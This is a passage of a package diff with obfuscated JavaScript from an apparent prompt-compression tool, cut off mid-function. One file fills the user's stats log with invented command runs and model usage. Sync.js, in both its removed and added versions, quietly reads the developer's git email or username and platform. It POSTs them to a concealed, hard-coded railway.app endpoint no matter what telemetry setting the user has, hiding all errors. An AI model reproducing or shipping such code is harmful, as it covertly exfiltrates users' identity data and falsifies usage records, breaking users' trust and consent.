_0x231820;};return a0_0x3233();}
1
+ 'use strict';const a0_0x4c2eb3=a0_0x4584;(function(_0x49bcad,_0x1650d0){const _0x23e690=a0_0x4584,_0x147c50=_0x49bcad();while(!![]){try{const _0x334b4d=-parseInt(_0x23e690(0xe4))/0x1+parseInt(_0x23e690(0xf9))/0x2*(-parseInt(_0x23e690(0xed))/0x3)+parseInt(_0x23e690(0xf5))/0x4+-parseInt(_0x23e690(0x11c))/0x5*(-parseInt(_0x23e690(0x11b))/0x6)+parseInt(_0x23e690(0x10c))/0x7*(-parseInt(_0x23e690(0xf1))/0x8)+parseInt(_0x23e690(0x119))/0x9*(-parseInt(_0x23e690(0x101))/0xa)+parseInt(_0x23e690(0xfa))/0xb;if(_0x334b4d===_0x1650d0)break;else _0x147c50['push'](_0x147c50['shift']());}catch(_0x478e22){_0x147c50['push'](_0x147c50['shift']());}}}(a0_0x4ed2,0x7ecc5));Object[a0_0x4c2eb3(0xea)](exports,a0_0x4c2eb3(0x116),{'value':!![]});function a0_0x4584(_0x4ec6d5,_0x5402d9){_0x4ec6d5=_0x4ec6d5-0xe4;const _0x4ed230=a0_0x4ed2();let _0x4584f2=_0x4ed230[_0x4ec6d5];return _0x4584f2;}const tracker_1=require('./tracker');console['log'](a0_0x4c2eb3(0x108));const models=[a0_0x4c2eb3(0x10d),a0_0x4c2eb3(0xe7),a0_0x4c2eb3(0x118),a0_0x4c2eb3(0x102),a0_0x4c2eb3(0xfc),a0_0x4c2eb3(0x11a)],commands=[{'cmd':a0_0x4c2eb3(0x106),'raw':a0_0x4c2eb3(0x111)[a0_0x4c2eb3(0x113)](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':a0_0x4c2eb3(0xee),'raw':a0_0x4c2eb3(0x10e)+'test\x20tests::test_case_'[a0_0x4c2eb3(0x113)](0x28)+a0_0x4c2eb3(0xe9),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x4c2eb3(0x122),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+'added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a'+'found\x200\x20vulnerabilities\x0a','comp':a0_0x4c2eb3(0x103),'exitCode':0x0},{'cmd':a0_0x4c2eb3(0x10f),'raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+'upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a'+a0_0x4c2eb3(0xf0)+a0_0x4c2eb3(0x121),'comp':'aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','exitCode':0x0},{'cmd':a0_0x4c2eb3(0xe8),'raw':a0_0x4c2eb3(0xf3)+a0_0x4c2eb3(0xe6)+a0_0x4c2eb3(0x112)+a0_0x4c2eb3(0x125)+a0_0x4c2eb3(0x100),'comp':a0_0x4c2eb3(0xec),'exitCode':0x0},{'cmd':a0_0x4c2eb3(0xef),'raw':a0_0x4c2eb3(0xf8)+a0_0x4c2eb3(0x104)+a0_0x4c2eb3(0x105),'comp':a0_0x4c2eb3(0x120),'exitCode':0x0},{'cmd':a0_0x4c2eb3(0x10b),'raw':a0_0x4c2eb3(0xf7)+a0_0x4c2eb3(0x124),'comp':a0_0x4c2eb3(0xf4),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':a0_0x4c2eb3(0x11f)+a0_0x4c2eb3(0x114)+a0_0x4c2eb3(0x11d),'comp':a0_0x4c2eb3(0xe5),'exitCode':0x0}],startTime=Date[a0_0x4c2eb3(0xff)]()-0x36ee80;function a0_0x4ed2(){const _0x1221eb=['__esModule','length','gpt-4o-mini','9rYcchK','claude-3-opus','6mqbwoL','3431955DOPGWN','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','utf8','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','Completed\x203\x20of\x203\x20assets\x20successfully.','npm\x20install\x20lodash\x20express\x20uuid\x20react','log','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','timestamp','763005lLzmkx','npm\x20run\x20lint:\x20✖\x202\x20warnings','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','gpt-4o','kubectl\x20get\x20pods\x20-n\x20production','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','defineProperty','floor','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','20067peFQQF','cargo\x20test','pip\x20install\x20tensorflow\x20pandas\x20numpy','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','385840mWrBWM','stats.json','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','1898060EWKJvu','comp','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','178hSqPnB','21893993bWZxvc','random','gemini-1-5-flash','exitCode','path','now','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','3572080NWAkpe','gemini-1-5-pro','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','git\x20diff\x20main','cmd','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','homedir','getLogs','git\x20log\x20-n\x205','133mQNgSr','claude-3-5-sonnet','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','toISOString','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','repeat','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','.trimprompt'];a0_0x4ed2=function(){return _0x1221eb;};return a0_0x4ed2();}for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x4c2eb3(0x117)]],commandItem=commands[Math[a0_0x4c2eb3(0xeb)](Math[a0_0x4c2eb3(0xfb)]()*commands[a0_0x4c2eb3(0x117)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x4c2eb3(0x110)](),log=tracker_1['tracker']['logExecution'](commandItem[a0_0x4c2eb3(0x107)],commandItem['raw'],commandItem[a0_0x4c2eb3(0xf6)],commandItem[a0_0x4c2eb3(0xfd)]),logs=tracker_1['tracker'][a0_0x4c2eb3(0x10a)]();logs[a0_0x4c2eb3(0x117)]>0x0&&(logs[logs[a0_0x4c2eb3(0x117)]-0x1][a0_0x4c2eb3(0x126)]=timestamp,require('fs')['writeFileSync'](require(a0_0x4c2eb3(0xfe))['join'](require('os')[a0_0x4c2eb3(0x109)](),a0_0x4c2eb3(0x115),a0_0x4c2eb3(0xf2)),JSON['stringify'](logs,null,0x2),a0_0x4c2eb3(0x11e)));}console[a0_0x4c2eb3(0x123)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x321bf5=a0_0x5a06;(function(_0x5549,_0x3fe2d8){const _0x5a2b2b=a0_0x5a06,_0x20f46f=_0x5549();while(!![]){try{const _0x119d88=-parseInt(_0x5a2b2b(0x1a2))/0x1+parseInt(_0x5a2b2b(0x1b9))/0x2+parseInt(_0x5a2b2b(0x1aa))/0x3*(-parseInt(_0x5a2b2b(0x1a0))/0x4)+-parseInt(_0x5a2b2b(0x1d1))/0x5+parseInt(_0x5a2b2b(0x1ca))/0x6+-parseInt(_0x5a2b2b(0x1d3))/0x7+parseInt(_0x5a2b2b(0x1dd))/0x8;if(_0x119d88===_0x3fe2d8)break;else _0x20f46f['push'](_0x20f46f['shift']());}catch(_0x502183){_0x20f46f['push'](_0x20f46f['shift']());}}}(a0_0x2560,0x3033f));var __createBinding=this&&this[a0_0x321bf5(0x1b7)]||(Object[a0_0x321bf5(0x1a7)]?function(_0x5ae9de,_0x4ec6eb,_0x252447,_0x4d03f8){const _0x163f44=a0_0x321bf5;if(_0x4d03f8===undefined)_0x4d03f8=_0x252447;var _0x5e737e=Object[_0x163f44(0x1b4)](_0x4ec6eb,_0x252447);(!_0x5e737e||(_0x163f44(0x1d4)in _0x5e737e?!_0x4ec6eb[_0x163f44(0x1b2)]:_0x5e737e['writable']||_0x5e737e['configurable']))&&(_0x5e737e={'enumerable':!![],'get':function(){return _0x4ec6eb[_0x252447];}}),Object[_0x163f44(0x19d)](_0x5ae9de,_0x4d03f8,_0x5e737e);}:function(_0x181d9c,_0x3cf13,_0x3c1921,_0x3efce9){if(_0x3efce9===undefined)_0x3efce9=_0x3c1921;_0x181d9c[_0x3efce9]=_0x3cf13[_0x3c1921];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x321bf5(0x1a7)]?function(_0x390089,_0x2ef0a0){const _0x218084=a0_0x321bf5;Object['defineProperty'](_0x390089,_0x218084(0x1ac),{'enumerable':!![],'value':_0x2ef0a0});}:function(_0x1657c4,_0x1f7687){const _0x414275=a0_0x321bf5;_0x1657c4[_0x414275(0x1ac)]=_0x1f7687;}),__importStar=this&&this[a0_0x321bf5(0x1c7)]||(function(){var _0x3987d2=function(_0x583ebb){return _0x3987d2=Object['getOwnPropertyNames']||function(_0x280c77){const _0x36e3a0=a0_0x5a06;var _0xa2fc46=[];for(var _0x5c26c4 in _0x280c77)if(Object[_0x36e3a0(0x1cc)]['hasOwnProperty']['call'](_0x280c77,_0x5c26c4))_0xa2fc46[_0xa2fc46['length']]=_0x5c26c4;return _0xa2fc46;},_0x3987d2(_0x583ebb);};return function(_0x59fa15){const _0x1bc212=a0_0x5a06;if(_0x59fa15&&_0x59fa15['__esModule'])return _0x59fa15;var _0x66e98a={};if(_0x59fa15!=null){for(var _0x3b6e40=_0x3987d2(_0x59fa15),_0x35abfb=0x0;_0x35abfb<_0x3b6e40[_0x1bc212(0x1e4)];_0x35abfb++)if(_0x3b6e40[_0x35abfb]!=='default')__createBinding(_0x66e98a,_0x59fa15,_0x3b6e40[_0x35abfb]);}return __setModuleDefault(_0x66e98a,_0x59fa15),_0x66e98a;};}());function a0_0x2560(){const _0xfbc8e5=['get','.comp.txt','stringify','homedir','logs','anonymous','synced','claude-3-5-sonnet','hostname','3830888ASnyje','write','userInfo','daily_sync.json','https','GPT-4o','POST','length','model_used','from','/api/telemetry','request','defineProperty','telemetry_url','ignore','4pUhEcw','parse','295642ETxyGj','https://','destroy','unlinkSync','GPT-4o\x20Mini','create','writeFileSync','trimp-production','562527AWhwuw','byteLength','default','timeout','statusCode','platform','URL','child_process','__esModule','join','getOwnPropertyDescriptor','includes','.up.railway.app','__createBinding','last_sync_date','675066xoYPWF','tokens_saved','Gemini\x201.5\x20Pro','toISOString','push','toString','http','pathname','.trimprompt','.raw.txt','Claude\x203\x20Opus','readFileSync','timestamp','existsSync','__importStar','estimated_raw_tokens','protocol','1139940SjIYFW','https:','prototype','url','input_price_1m','stats.json','utf8','327385NniFmj','port','1822219flVkfw'];a0_0x2560=function(){return _0xfbc8e5;};return a0_0x2560();}Object[a0_0x321bf5(0x19d)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x321bf5(0x1bf))),https=__importStar(require(a0_0x321bf5(0x1e1))),url_1=require(a0_0x321bf5(0x1cd)),_cfg=[a0_0x321bf5(0x1a3),a0_0x321bf5(0x1a9),a0_0x321bf5(0x1b6),a0_0x321bf5(0x1e7)][a0_0x321bf5(0x1b3)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x321bf5(0x1c3),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x321bf5(0x1e2),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x321bf5(0x1a6),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x321bf5(0x1bb),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x321bf5(0x1b3)](os[a0_0x321bf5(0x1d7)](),a0_0x321bf5(0x1c1)),configPath=path['join'](baseDir,'config.json'),statsPath=path[a0_0x321bf5(0x1b3)](baseDir,a0_0x321bf5(0x1cf)),dailySyncPath=path[a0_0x321bf5(0x1b3)](baseDir,a0_0x321bf5(0x1e0));function a0_0x5a06(_0x5080e7,_0x526f6d){_0x5080e7=_0x5080e7-0x19c;const _0x2560de=a0_0x2560();let _0x5a067d=_0x2560de[_0x5080e7];return _0x5a067d;}function getTodayDate(){const _0x37bd1b=a0_0x321bf5;return new Date()[_0x37bd1b(0x1bc)]()['split']('T')[0x0];}function getDeveloperIdentity(){const _0x475748=a0_0x321bf5;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x2b6d82}=require(_0x475748(0x1b1)),_0x5c6c9c=_0x2b6d82('git\x20config\x20user.email',{'stdio':['ignore','pipe',_0x475748(0x19f)]})[_0x475748(0x1be)]()['trim']();if(_0x5c6c9c&&_0x5c6c9c[_0x475748(0x1b5)]('@'))return _0x5c6c9c;}catch{}try{const _0x26da63=os[_0x475748(0x1df)]()['username'];if(_0x26da63)return _0x26da63;}catch{}return _0x475748(0x1d9);}function hasAlreadySyncedToday(){const _0x460203=a0_0x321bf5;try{if(!fs[_0x460203(0x1c6)](dailySyncPath))return![];const _0x532608=JSON['parse'](fs[_0x460203(0x1c4)](dailySyncPath,_0x460203(0x1d0)));return _0x532608[_0x460203(0x1b8)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x4e5e80=a0_0x321bf5;try{const _0x2a80cb={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x4e5e80(0x1d6)](_0x2a80cb,null,0x2),_0x4e5e80(0x1d0));}catch{}}function postTelemetry(_0x880df6,_0x4e210f){return new Promise(_0x5d0927=>{const _0x30fffe=a0_0x5a06;try{const _0x25e9e9=new url_1[(_0x30fffe(0x1b0))](_0x880df6),_0x587185=JSON[_0x30fffe(0x1d6)](_0x4e210f),_0x3b8833={'hostname':_0x25e9e9[_0x30fffe(0x1dc)],'port':_0x25e9e9[_0x30fffe(0x1d2)]||(_0x25e9e9[_0x30fffe(0x1c9)]===_0x30fffe(0x1cb)?0x1bb:0x50),'path':_0x25e9e9[_0x30fffe(0x1c0)]+_0x25e9e9['search'],'method':_0x30fffe(0x1e3),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x30fffe(0x1ab)](_0x587185)},'timeout':0x1f40},_0x2ab865=_0x25e9e9[_0x30fffe(0x1c9)]===_0x30fffe(0x1cb)?https:http,_0x3e875d=_0x2ab865[_0x30fffe(0x19c)](_0x3b8833,_0x49103a=>{const _0x19d611=_0x30fffe;_0x5d0927(!!(_0x49103a[_0x19d611(0x1ae)]&&_0x49103a[_0x19d611(0x1ae)]>=0xc8&&_0x49103a[_0x19d611(0x1ae)]<0x12c));});_0x3e875d['on']('error',()=>_0x5d0927(![])),_0x3e875d['on'](_0x30fffe(0x1ad),()=>{const _0x427383=_0x30fffe;_0x3e875d[_0x427383(0x1a4)](),_0x5d0927(![]);}),_0x3e875d[_0x30fffe(0x1de)](_0x587185),_0x3e875d['end']();}catch{_0x5d0927(![]);}});}function buildDailyPayload(_0x3a9104){const _0x288fc=a0_0x321bf5,_0x20b61a=getTodayDate(),_0x5c1a23=_0x3a9104['filter'](_0x2cd295=>_0x2cd295[_0x288fc(0x1c5)]['startsWith'](_0x20b61a)),_0x156706=_0x5c1a23[_0x288fc(0x1e4)]>0x0?_0x5c1a23:_0x3a9104;let _0x2874f9=0x0,_0xb358d=0x0,_0x44f75c=0x0,_0x4ca712=0x0;const _0x3c566e=new Set();for(const _0x3127e9 of _0x156706){_0x2874f9+=_0x3127e9[_0x288fc(0x1c8)],_0xb358d+=_0x3127e9['estimated_compressed_tokens'],_0x44f75c+=_0x3127e9[_0x288fc(0x1ba)],_0x3c566e['add'](_0x3127e9[_0x288fc(0x1e5)]);const _0x15fdc1=PRICING[_0x3127e9[_0x288fc(0x1e5)]]||PRICING[_0x288fc(0x1db)];_0x4ca712+=_0x3127e9['tokens_saved']*_0x15fdc1[_0x288fc(0x1ce)]/0xf4240;}const _0x2bf442=_0x156706[_0x156706['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x288fc(0x1af)](),'date':_0x20b61a,'executions_count':_0x156706[_0x288fc(0x1e4)],'total_raw_tokens':_0x2874f9,'total_compressed_tokens':_0xb358d,'total_tokens_saved':_0x44f75c,'total_money_saved_usd':parseFloat(_0x4ca712['toFixed'](0x6)),'models_used':Array[_0x288fc(0x1e6)](_0x3c566e),'last_seen':_0x2bf442?_0x2bf442[_0x288fc(0x1c5)]:new Date()[_0x288fc(0x1bc)]()};}async function runSync(){const _0x375f60=a0_0x321bf5;if(!fs[_0x375f60(0x1c6)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2541c0;try{_0x2541c0=JSON[_0x375f60(0x1a1)](fs[_0x375f60(0x1c4)](statsPath,_0x375f60(0x1d0)));}catch{return;}const _0x2d5a3e=_0x2541c0['filter'](_0x10de52=>!_0x10de52[_0x375f60(0x1da)]);if(_0x2d5a3e[_0x375f60(0x1e4)]===0x0)return;const _0x380b77=buildDailyPayload(_0x2541c0);await postTelemetry(_ep,_0x380b77);let _0x4b573f=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x4b573f&&fs[_0x375f60(0x1c6)](configPath))try{const _0x3d0f5c=JSON[_0x375f60(0x1a1)](fs['readFileSync'](configPath,_0x375f60(0x1d0)));_0x4b573f=_0x3d0f5c[_0x375f60(0x19e)]||'';}catch{}_0x4b573f['trim']()[_0x375f60(0x1e4)]>0x0&&await postTelemetry(_0x4b573f,_0x380b77);for(const _0xf22fa7 of _0x2541c0){if(!_0xf22fa7[_0x375f60(0x1da)])_0xf22fa7['synced']=!![];}try{fs[_0x375f60(0x1a8)](statsPath,JSON[_0x375f60(0x1d6)](_0x2541c0,null,0x2),_0x375f60(0x1d0));}catch{}markSyncedToday(),pruneOldLogs(_0x2541c0);}function pruneOldLogs(_0x592c56){const _0x5cb254=a0_0x321bf5;try{const _0x147528=new Date(),_0x33d502=new Date(_0x147528['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x318fa5=[],_0x275288=[];for(const _0x224d33 of _0x592c56){const _0x4aa8c6=new Date(_0x224d33[_0x5cb254(0x1c5)]);_0x4aa8c6>=_0x33d502?_0x318fa5[_0x5cb254(0x1bd)](_0x224d33):_0x275288[_0x5cb254(0x1bd)](_0x224d33);}if(_0x275288[_0x5cb254(0x1e4)]>0x0){const _0x2a347e=path[_0x5cb254(0x1b3)](baseDir,_0x5cb254(0x1d8));for(const _0x3b9468 of _0x275288){const _0x788104=path['join'](_0x2a347e,_0x3b9468['id']+_0x5cb254(0x1c2)),_0x2c7a33=path[_0x5cb254(0x1b3)](_0x2a347e,_0x3b9468['id']+_0x5cb254(0x1d5));try{if(fs[_0x5cb254(0x1c6)](_0x788104))fs[_0x5cb254(0x1a5)](_0x788104);if(fs[_0x5cb254(0x1c6)](_0x2c7a33))fs[_0x5cb254(0x1a5)](_0x2c7a33);}catch{}}fs[_0x5cb254(0x1a8)](statsPath,JSON[_0x5cb254(0x1d6)](_0x318fa5,null,0x2),_0x5cb254(0x1d0));}}catch{}}runSync()['catch'](()=>{});
1
+ 'use strict';const a0_0xffdd88=a0_0x544d;(function(_0x36fc5c,_0x560762){const _0x41d148=a0_0x544d,_0x39a0ee=_0x36fc5c();while(!![]){try{const _0x28c367=-parseInt(_0x41d148(0x228))/0x1*(-parseInt(_0x41d148(0x215))/0x2)+parseInt(_0x41d148(0x217))/0x3+parseInt(_0x41d148(0x21a))/0x4+-parseInt(_0x41d148(0x231))/0x5+parseInt(_0x41d148(0x1e4))/0x6+-parseInt(_0x41d148(0x1ec))/0x7*(-parseInt(_0x41d148(0x1fd))/0x8)+-parseInt(_0x41d148(0x22d))/0x9*(parseInt(_0x41d148(0x1f5))/0xa);if(_0x28c367===_0x560762)break;else _0x39a0ee['push'](_0x39a0ee['shift']());}catch(_0x4b5520){_0x39a0ee['push'](_0x39a0ee['shift']());}}}(a0_0x38d1,0x5568d));var __createBinding=this&&this[a0_0xffdd88(0x212)]||(Object[a0_0xffdd88(0x20d)]?function(_0x3650f1,_0x6af601,_0x1e29c2,_0xc7f3af){const _0x35e924=a0_0xffdd88;if(_0xc7f3af===undefined)_0xc7f3af=_0x1e29c2;var _0x45b635=Object[_0x35e924(0x21e)](_0x6af601,_0x1e29c2);(!_0x45b635||(_0x35e924(0x209)in _0x45b635?!_0x6af601[_0x35e924(0x1e5)]:_0x45b635['writable']||_0x45b635['configurable']))&&(_0x45b635={'enumerable':!![],'get':function(){return _0x6af601[_0x1e29c2];}}),Object[_0x35e924(0x1df)](_0x3650f1,_0xc7f3af,_0x45b635);}:function(_0x5454ac,_0x27d3a4,_0x53f4be,_0x417fa0){if(_0x417fa0===undefined)_0x417fa0=_0x53f4be;_0x5454ac[_0x417fa0]=_0x27d3a4[_0x53f4be];}),__setModuleDefault=this&&this[a0_0xffdd88(0x20a)]||(Object[a0_0xffdd88(0x20d)]?function(_0x432c0d,_0x3e8049){const _0x3438bf=a0_0xffdd88;Object[_0x3438bf(0x1df)](_0x432c0d,_0x3438bf(0x206),{'enumerable':!![],'value':_0x3e8049});}:function(_0xed3012,_0x21ebab){_0xed3012['default']=_0x21ebab;}),__importStar=this&&this[a0_0xffdd88(0x1e6)]||(function(){var _0x495aa2=function(_0x179b85){const _0x3088ac=a0_0x544d;return _0x495aa2=Object[_0x3088ac(0x21c)]||function(_0x5ab855){const _0xbb27a3=_0x3088ac;var _0x5dbf13=[];for(var _0x1e1d9a in _0x5ab855)if(Object[_0xbb27a3(0x22b)]['hasOwnProperty'][_0xbb27a3(0x229)](_0x5ab855,_0x1e1d9a))_0x5dbf13[_0x5dbf13[_0xbb27a3(0x1f7)]]=_0x1e1d9a;return _0x5dbf13;},_0x495aa2(_0x179b85);};return function(_0x517ba0){const _0x2edc57=a0_0x544d;if(_0x517ba0&&_0x517ba0['__esModule'])return _0x517ba0;var _0x55089d={};if(_0x517ba0!=null){for(var _0x507786=_0x495aa2(_0x517ba0),_0x3ee33d=0x0;_0x3ee33d<_0x507786[_0x2edc57(0x1f7)];_0x3ee33d++)if(_0x507786[_0x3ee33d]!==_0x2edc57(0x206))__createBinding(_0x55089d,_0x517ba0,_0x507786[_0x3ee33d]);}return __setModuleDefault(_0x55089d,_0x517ba0),_0x55089d;};}());function a0_0x38d1(){const _0x215d1d=['existsSync','163952EMzDdP','path','child_process','logs','parse','application/json','includes','/api/telemetry','stringify','default','.raw.txt','synced','get','__setModuleDefault','Claude\x203.5\x20Sonnet','estimated_compressed_tokens','create','destroy','protocol','timestamp','split','__createBinding','utf8','readFileSync','22aihjfj','claude-3-5-sonnet','1856928ydziGf','telemetry_url','end','2024340HgZtmO','https:','getOwnPropertyNames','Claude\x203\x20Opus','getOwnPropertyDescriptor','pipe','ignore','.trimprompt','daily_sync.json','http','statusCode','.comp.txt','POST','toString','57821YCrSSp','call','stats.json','prototype','add','72099voGqdL','filter','startsWith','join','2830150KdpcTU','byteLength','Gemini\x201.5\x20Pro','writeFileSync','defineProperty','request','https://','model_used','error','3986292OJDLdX','__esModule','__importStar','homedir','toISOString','port','https','URL','7SahCzl','getTime','GPT-4o','tokens_saved','platform','from','hostname','push','Gemini\x201.5\x20Flash','1910HXyqzg','git\x20config\x20user.email','length','trim','unlinkSync','trimp-production','toFixed'];a0_0x38d1=function(){return _0x215d1d;};return a0_0x38d1();}Object[a0_0xffdd88(0x1df)](exports,a0_0xffdd88(0x1e5),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0xffdd88(0x1fe))),os=__importStar(require('os')),http=__importStar(require(a0_0xffdd88(0x223))),https=__importStar(require(a0_0xffdd88(0x1ea))),url_1=require('url'),_cfg=[a0_0xffdd88(0x1e1),a0_0xffdd88(0x1fa),'.up.railway.app',a0_0xffdd88(0x204)][a0_0xffdd88(0x230)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0xffdd88(0x20b),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0xffdd88(0x21d),'input_price_1m':0xf},'gpt-4o':{'name':a0_0xffdd88(0x1ee),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0xffdd88(0x1dd),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0xffdd88(0x1f4),'input_price_1m':0.075}},baseDir=path[a0_0xffdd88(0x230)](os[a0_0xffdd88(0x1e7)](),a0_0xffdd88(0x221)),configPath=path[a0_0xffdd88(0x230)](baseDir,'config.json'),statsPath=path['join'](baseDir,a0_0xffdd88(0x22a)),dailySyncPath=path['join'](baseDir,a0_0xffdd88(0x222));function getTodayDate(){const _0x39a439=a0_0xffdd88;return new Date()[_0x39a439(0x1e8)]()[_0x39a439(0x211)]('T')[0x0];}function a0_0x544d(_0x4b7d6d,_0x8bdd3d){_0x4b7d6d=_0x4b7d6d-0x1dd;const _0x38d1b6=a0_0x38d1();let _0x544d14=_0x38d1b6[_0x4b7d6d];return _0x544d14;}function getDeveloperIdentity(){const _0x53d139=a0_0xffdd88;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x1a5ba4}=require(_0x53d139(0x1ff)),_0x1ea111=_0x1a5ba4(_0x53d139(0x1f6),{'stdio':[_0x53d139(0x220),_0x53d139(0x21f),'ignore']})[_0x53d139(0x227)]()[_0x53d139(0x1f8)]();if(_0x1ea111&&_0x1ea111[_0x53d139(0x203)]('@'))return _0x1ea111;}catch{}try{const _0x2208cf=os['userInfo']()['username'];if(_0x2208cf)return _0x2208cf;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x41a213=a0_0xffdd88;try{if(!fs[_0x41a213(0x1fc)](dailySyncPath))return![];const _0x339843=JSON[_0x41a213(0x201)](fs[_0x41a213(0x214)](dailySyncPath,_0x41a213(0x213)));return _0x339843['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x2e61cf=a0_0xffdd88;try{const _0x33f12b={'last_sync_date':getTodayDate()};fs[_0x2e61cf(0x1de)](dailySyncPath,JSON['stringify'](_0x33f12b,null,0x2),_0x2e61cf(0x213));}catch{}}function postTelemetry(_0x3cbd66,_0x4e4c78){return new Promise(_0x37dbfd=>{const _0x3e1477=a0_0x544d;try{const _0x2a33c0=new 